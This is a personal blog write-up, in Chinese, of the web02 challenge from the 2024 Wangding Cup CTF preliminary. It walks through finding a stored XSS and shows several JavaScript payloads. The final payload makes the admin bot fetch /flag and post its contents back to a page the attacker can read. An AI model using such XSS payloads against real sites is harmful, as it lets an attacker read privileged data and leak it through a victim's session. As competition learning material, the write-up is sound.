2024网鼎杯初赛青龙组web个人复盘

Wang1r Lv3

这是我第一次正式随战队参加正规的CTF比赛,虽然没能顺利进入线下比赛,也算一次难忘的经历了。(也见识到了闲鱼的真正恐怖之处

虽然是初赛,比赛的难度也是挺高的,web只做出来一道。

web02

首先进行登录,对账号密码都没有要求

登陆到后台,看到输入框,发现输入内容可以回显,先进行SSTI测试,发现不行,于是测试XSS,可以弹出提示框,于是尝试XSS注入(页面中“点击提交当前页面,boss会审核你的起飞任务清单”也提示使用XSS)。

在信息搜集和分析中,得到网站目录下有/flag,但访问时会提示非boss不能访问,于是分析得到可能需要后台robot来访问或者得到Cookie来仿造。

首先尝试获取Cookie,在使用XSS平台和本地均无果之后,开始尝试利用后台robot主动触发来读取文件。

首先尝试了利用 JavaScript 读取内容

1
2
3
fetch('/flag').then(response => response.text()).then(flag => {
document.body.innerText = flag;
});

分析发现并不能实现回显

于是又尝试了让后台逻辑处理 XSS 请求

1
<script>     fetch('/content/4b83e2b546a14c368169bd65b087103a', {         method: 'POST',         body: JSON.stringify({             flag: document.location.origin + "/flag"  }),         headers: {             'Content-Type': 'application/json'         }     }); </script>

依旧读取不到flag

后来想到用XSS使后台机器人触发,先获取到flag的内容,再让它来update,使得flag能出现在后台界面上

1
fetch('/flag').then(response => response.text()).then(flag => fetch('/content/aca41d6e19072e223041e932296e9789', {method: 'POST', body: JSON.stringify({content: flag}), headers: {'Content-Type': 'application/json'}})).catch(error => console.error('读取 /flag 文件失败:', error));

但此时出现了一个问题,该代码XSS的fetch无法正确触发请求

分析请求包,得知是传参错误,按要求修改代码:

1
fetch('/content/f80c602cb11d154694a7d4ecc731be6e', { method: 'POST', headers: { 'Cache-Control': 'max-age=0', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Origin': 'http://0192d60efa0b7e5eb344d2070fb16fb3.w14f.dg02.ciihw.cn:45512', 'Content-Type': 'application/x-www-form-urlencoded', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.59 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Referer': 'http://0192d60efa0b7e5eb344d2070fb16fb3.w14f.dg02.ciihw.cn:45512/content/f80c602cb11d154694a7d4ecc731be6e', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive' }, body: 'content=test' });

测试通过,证明该方式可以正常访问,于是修改为:

1
<script>fetch('/flag').then(response => response.text()).then(flag => fetch('/content/f80c602cb11d154694a7d4ecc731be6e', { method: 'POST', headers: {'Cache-Control': 'max-age=0', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Content-Type': 'application/x-www-form-urlencoded', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.59 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive' }, body: `content=${encodeURIComponent(flag)}` })).catch(error => console.error('读取 /flag 文件失败:', error));</script>

submit之后,就可以获取到flag了。

平心而论,这道题出得还是很不错的,拓宽了我对XSS攻击的认知。从前我觉得XSS只能用来读取敏感信息,从没想过它还能实现类似CSRF的效果。

  • 标题: 2024网鼎杯初赛青龙组web个人复盘
  • 作者: Wang1r
  • 创建于 : 2024-11-02 22:00:00
  • 更新于 : 2025-04-07 12:33:37
  • 链接: https://wang1rrr.github.io/2024/11/02/2024网鼎杯初赛青龙组web个人复盘/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
2024网鼎杯初赛青龙组web个人复盘